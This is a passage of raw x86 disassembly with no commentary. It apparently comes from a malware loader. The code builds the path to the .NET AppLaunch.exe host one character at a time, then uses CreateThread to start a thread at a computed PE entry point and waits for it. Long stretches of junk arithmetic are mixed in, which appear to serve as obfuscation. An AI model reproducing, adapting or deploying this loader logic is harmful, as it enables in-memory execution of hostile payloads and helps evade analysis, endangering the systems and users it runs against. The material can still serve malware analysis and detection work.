mov word [ebp - 0x5e], ax
mov ecx, 0x4e
mov word [ebp - 0x5c], cx
mov edx, 0x45
mov word [ebp - 0x5a], dx
mov eax, 0x54
mov word [ebp - 0x58], ax
mov ecx, 0x5c
mov word [ebp - 0x56], cx
mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x409552
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401210
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
bswap eax
mov edi, 0x47
add ebx, 0xf6
rol ebx, 0xb6
bswap edi
rcl edi, 0x66
inc esi
sbb eax, 0xb2
imul edx
neg ebx
inc edx
neg eax
bswap esi
or esi, 0xb7
inc eax
sub edi, 0x4b
not ebx
sbb edx, 0xb
mov eax, 0x5b
rcr edx, 0xd2
rol edi, 0xfb
dec esi
rol eax, 0xfe
rcr edx, 0x7e
inc eax
ror edi, 0x41
neg edi
rcl edx, 0x62
bswap edi
rcl eax, 0x87
not ebx
dec eax
sub edi, 0x73
sbb edi, 0x4d
bswap ebx
and eax, 0xf5
rcl ebx, 0xec
inc eax
dec ebx
and eax, 0x9c
or edi, 0x76
ror ebx, 0xd0
dec esi
rcl edi, 0x62
rcl eax, 0x7f
rol eax, 0xb4
neg eax
add esi, 0x4f
dec ebx
add esi, 0x98
dec esi
imul edi
ror ebx, 0xdc
inc edi
neg esi
bswap edx
sbb eax, 0xb7
sbb esi, 7
rol edi, 0xb4
rcl ebx, 0x8b
and ebx, 0x3e
sbb esi, 0xd8
sbb edx, 0xee
imul ebx
rcr edi, 0x8c
dec edx
and ebx, 0xa3
rcl eax, 0xc5
mov eax, 0
or ebx, 0xe6
dec eax
inc eax
neg edi
dec edi
ror eax, 0x5c
sbb eax, 0xcd
sub edx, 0x1e
or edx, 0x9b
imul ebx
imul eax
neg ebx
rcr esi, 0xec
mov ebx, 0x21
not ebx
not ebx
dec eax
imul esi
neg ebx
sbb edi, 0x2a
bswap eax
rcr edx, 0xfd
inc ebx
and edx, 0x78
dec eax
not eax
dec edi
bswap edi
rcr eax, 0x82
neg edi
inc edx
ror ebx, 0x2e
rol edx, 0x16
imul edx
neg esi
imul edx
and edx, 0x6b
sbb edi, 9
imul ebx
rcr eax, 0x5e
sbb eax, 0xf8
mov edi, 0xaa
add eax, 0x2b
imul edx
rol edx, 0x93
rcr esi, 0xd5
rol edx, 0xaa
and esi, 5
sbb ebx, 0x1e
imul ebx
imul ebx
bswap ebx
add ebx, 0x36
mov eax, 0x7c
or edx, 0xe9
imul esi
sbb eax, 0x50
mov edi, 0x7b
dec ebx
rol edx, 0x77
rcl edx, 0xd
imul ebx
imul eax
sbb esi, 0x4d
not edi
sub esi, 0xb4
imul ebx
sub esi, 0x20
bswap edi
bswap edx
rcr edi, 0x95
neg ebx
dec eax
add eax, 0x25
inc ebx
dec eax
add edx, 0xfd
mov esi, 0x25
dec edx
add edx, 0xc
sub eax, 0xc6
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x409744
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401210
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
and ebx, 0xb4
inc eax
inc edx
mov esi, 0xd
not edi
and eax, 0x90
add esi, 0x7f
dec ebx
ror edi, 0xc
add esi, 0x1e
sub ebx, 0x1c
add eax, 0xb8
neg eax
ror esi, 0x99
rol edi, 0xce
not ebx
imul ebx
bswap edx
inc esi
neg ebx
not eax
rol esi, 0x6c
mov eax, 0x82
neg ebx
not edx
and esi, 0xbe
ror esi, 0x9a
bswap edx
ror edx, 0xe
imul ebx
rcl edi, 0x64
rcl esi, 3
sub eax, 0xa3
or edx, 0xa8
add ebx, 0x3c
imul edx
dec edi
or edx, 0xdc
and edi, 0x55
not ebx
dec ebx
rcl esi, 0xfc
neg ebx
rcl esi, 0x7d
or esi, 0x6d
dec esi
add ebx, 0xa
dec eax
inc eax
inc ebx
imul edx
rcr eax, 4
bswap eax
neg edx
inc eax
bswap edx
neg ebx
rcl ebx, 0xad
bswap edx
sbb ebx, 0x3c
not eax
dec ebx
dec eax
and ebx, 0xb8
neg eax
sbb edx, 0xfe
mov eax, 0xf7
sub ebx, 0
add edx, 0x71
neg edi
neg eax
imul edx
not esi
imul eax
ror edx, 0xf2
imul ebx
dec edi
neg esi
neg edi
sbb edx, 0x25
or eax, 0x53
sbb edi, 0x2a
dec edi
inc eax
rcr esi, 0x1e
imul edx
rcr edi, 0x43
sub edx, 0x95
or edx, 0xc4
bswap eax
rcl esi, 0x20
rcr edx, 0xbf
imul edi
sbb esi, 0xfc
sub eax, 0xad
sub eax, 0x43
not edx
imul esi
ror esi, 0xb7
not eax
bswap eax
dec edx
and esi, 0x71
neg ebx
bswap eax
rol esi, 0x85
ror ebx, 0x7c
or edx, 0x52
neg edx
neg ebx
ror eax, 0x96
rcr ebx, 0x2c
rol esi, 0x2c
add esi, 0xc5
dec edx
neg ebx
imul ebx
neg edx
rol esi, 0x27
or edi, 0xbd
inc edx
mov edi, 0x6e
bswap ebx
dec ebx
rol edi, 0x23
not ebx
rcr ebx, 0xe8
neg edx
inc eax
mov ebx, 0xf5
sbb ebx, 0xa9
not eax
dec esi
bswap ebx
add edx, 0x24
neg edi
bswap ebx
neg esi
sub eax, 0x23
add ebx, 0x24
add edx, 0xc7
rcr esi, 0xb5
dec eax
inc esi
rol ebx, 0x3d
ror eax, 0x97
not edx
imul edx
add edx, 0x4e
inc edx
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret